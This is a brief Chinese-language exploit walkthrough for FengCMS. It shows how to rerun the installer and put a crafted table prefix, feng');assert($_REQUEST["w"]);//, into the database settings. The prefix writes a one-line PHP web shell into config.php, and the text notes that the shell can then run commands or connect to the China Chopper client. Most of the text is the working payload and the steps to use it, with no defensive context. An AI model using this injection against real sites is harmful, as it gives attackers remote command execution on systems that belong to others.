fengcms重装漏洞getshell

先看一下原来的config.php fengcms访问install/index.php到数据库的设置 将数据表前缀写成feng');assert($_REQUEST["w"]);//这里相当于闭合了前面，然后加进去一个一句话的小马 点击下一步然后安装成功 现在看一下config.php的内容 这个地方已经插入了一句话了，可以在主页直接调用函数命令执行，或者连菜刀

>>阅读原文<<